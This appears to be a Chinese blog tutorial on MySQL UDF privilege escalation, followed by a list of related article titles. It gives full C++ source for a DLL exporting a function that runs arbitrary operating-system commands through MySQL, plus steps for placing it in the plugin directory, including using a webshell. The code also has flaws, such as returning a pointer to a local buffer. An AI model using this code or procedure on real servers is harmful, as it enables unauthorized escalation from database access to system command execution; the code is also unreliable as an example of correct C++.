udf提权原理研究-udf开发-linshao
目录
0x01.提权条件
0x02.版本差异
0x03.DLL文件编写
0x04.提权步骤
UDF (user defined function),用户自定义函数。
是通过dll添加新函数,对MySQL的功能进行扩充,就像使用MySQL如 user() 这种函数。
mysql通常是使用管理员权限进行配置,因此我们获取一个较低权限时可以通过mysql进行权限提升
我们经常使用到udf.php.它自带的有一个写好的dll,我们本文介绍自己写一个udf并且使用其提权
0x01.提权条件
1.secure-file-priv参数设置为空(为null时禁止mysql导入导出,无法读写文件)
2.对目录有写出权限
0x02.版本差异
MySQL>5.1
udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)
MySQL<5.1
winServ2003及其他 -> c:\windows\system32
winServ2000 ->C:\Winnt\
0x03.DLL文件编写
1).新建具有导出项的dll动态链接库
2).默认的代码干掉,修改两个文件:头文件Dll3.h和源文件Dll3.cpp
Dll3.h
//Dll3.h头文件,用于声明导出函数
#ifdef DLL3_EXPORTS
#define DLL3_API __declspec(dllexport)
#else
#define DLL3_API __declspec(dllimport)
#endif//udf官方文档地址:https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-function.html//按mysql官方文档写的两个结构体UDF_INIT,UDF_ARGS
typedef struct UDF_INIT1 {int maybe_null; /* 用到了 --返回值可为空 */unsigned int decimals; /* 没用到 --设置小数点后长度*/unsigned long max_length; /* 没用到 --结果返回最大长度*/char *ptr; /* 用到了 --字符指针,一般init内分配的内存地址给ptr*/bool const_item; /* 没用到 --是否返回固定结果*/
}UDF_INIT;
typedef struct UDF_ARGS1
{unsigned int arg_count; /* 没用到 --获取接受的参数个数 */char **args; /* 用到了 --参数指针 */unsigned long *lengths; /* 没用到 --参数长度 */char *maybe_null; /* 没用到 --1表示空,是否表示空*/char **attributes; /* 没用到 --参数属性的指针*/unsigned long *attribute_lengths; /* 没用到 --指向内容的长度*/
} UDF_ARGS;//DLL函数导出写法:导出DLL中的函数供其他程序调用
extern "C" DLL3_API long long linshaoAdd(UDF_INIT *initid, UDF_ARGS *args,char *is_null, char *error);
extern "C" DLL3_API bool linshaoAdd_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
extern "C" DLL3_API char* linshaoExec(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error);
extern "C" DLL3_API bool linshaoExec_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
Dll3.cpp
// Dll3.cpp : 定义 DLL 的导出函数实现。#include "pch.h"
#include "framework.h"
#include "Dll3.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>/* 此处有两个主函数:linshaoAdd() :用于测试相加数值函数linshaoExec() :用于执行命令函数两个初始化函数:linshaoAdd_init() :按文档编写,必须linshaoExec_init() :按文档编写,必须
* 按mysql官方文档写法:对于函数xxx()需要有一个初始化函数xxx_init()来进行内存分配等等操作
*/
DLL3_API bool linshaoAdd_init(UDF_INIT *initid, UDF_ARGS *args, char *message){initid->maybe_null = NULL; //设置不允许返回空return 0; //返回0表示初始化正常
}
DLL3_API long long linshaoAdd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){return *((long long*)(args->args)[1])+ *((long long*)(args->args)[2]); //返回两个参数相加的值
}DLL3_API bool linshaoExec_init(UDF_INIT *initid, UDF_ARGS *args, char *message){initid->maybe_null = NULL; //设置不允许返回空initid->ptr = (char*)(args->args)[1]; //通过initid传递参数指针return 0;}DLL3_API char* linshaoExec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error){#pragma warning(suppress : 4996) //屏蔽编译告警char result1[4096] = "";char buf[1024];FILE *f; //执行命令返回的io流if ((f = _popen(initid->ptr, "r")) != NULL) {while (fgets(buf, 1024, f) != NULL) {if (strlen(result1) > 4096) { break; }#pragma warning(suppress : 4996)strcat(result1, buf); //拼接字符串}_pclose(f); //关闭文件指针return result1; //返回命令执行结果}
}
3).编译导出上传到服务器上(主要目录不要有中文,会无法使用)
0x04.提权步骤
1)select @@plugin_dir查询mysql插件目录地址
2)导出到插件目录
实战中可以尝试使用webshell新建该目录然后直接将dll上传到该目录假装建好目录(手动)
udf提权原理研究-udf开发-linshao相关推荐
- mysql udf提权原理_udf提权原理详解
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...
- MySQL提权——udf提权
零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全学员--逍遥子 一.前期准备 1.Mysql udf简介 MySQL udf(user definedfunction,用户定义函数),为用户提供了 ...
- mysql udf提权_MySQL日志安全分析技巧
常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...
- 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权
6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...
- Windows与Linux的MYSQL UDF提权分析
原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...
- 数据库udf提权,WAF绕过
数据库udf提权,WAF绕过 1.数据库自带函数的功能与用法 数据库功能函数 udf提权 系统函数 函数名 说明 version() 系统版本 user() ||CURRENT_USER() 数据库用 ...
- mysql mof_mysql的MOF和UDF提权
最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了.关于mysql提权的方法也就那 ...
- Mysql之UDF提权
前言 mysql提权的几种方式 udf提权(常用) mof提权 开机启动脚本(启动项提权) 提权目的:mysql权限 -> 操作系统权限 UDF提权 有时候我们通过一些方式获取了目标主机mysq ...
- Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权
目录 权限分类 针对环境 webshell权限 本地用户权限 提权方法 1.windows内核溢出漏洞(如何判断类型和利用) 2.数据库提权 Mysql Mssql oracle redis post ...
最新文章
- Swin Transformer升级版来了!30亿参数,刷榜多项视觉任务,微软亚研原班人马打造...
- 美团Serverless产品落地与演进
- 我看过的密码学方面的好文章
- [转]java 为什么wait(),notify(),notifyAll()必须在同步方法/代码块中调用?
- iis 站点中文乱码 解决方案
- SmartPointer
- 访问者模式 php,php设计模式 Visitor 访问者模式
- Git 搭建私有仓库
- 三年开发项目经验总结
- django 打开的html css_Django分页完整示例
- 在VirtualBox里复制VDI文件[转]
- aio 系统原理 Java_Java新一代网络编程模型AIO原理及Linux系统AIO介绍
- IOT(21)---:云、大数据、IOT深度融合 云计算进入3.0时代
- 未来互联网还有哪些值得关注的趋势?
- Java集合框架源码解读(3)—LinkedHashMap的实现原理及用法
- U890第二次开发的BOM表工具--自主知识产权
- excel使用教程_正版办公软件教程书Word Excel PPT办公应用从入门到精通教学加视频!...
- 星外系统更换短信接口
- VIVO应用市场APP上架总结
- Efficient Deep Embedded Subspace Clustering
热门文章
- 中国婴儿果汁市场趋势报告、技术动态创新及市场预测
- Spring Boot 结合 ECharts 实现霸气、美观、高大上 图表分析
- 家用 NAS 服务器(3)| SSD缓存加速机械硬盘
- 凯撒密码(Caesar)加密解密算法C/C++实现
- 如何计算电池充满电的预计时间
- 使用计算机注意什么时候,【干货】使用笔记本电脑一定注意这几点,不然会严重影响电脑寿命...
- 2021JiangXi Provincinal Collegiate Programming Contest
- 什么是Ubuntu的使命?
- Facebook为人才收购荷兰软件美工计划公司
- Android Activity启动流程○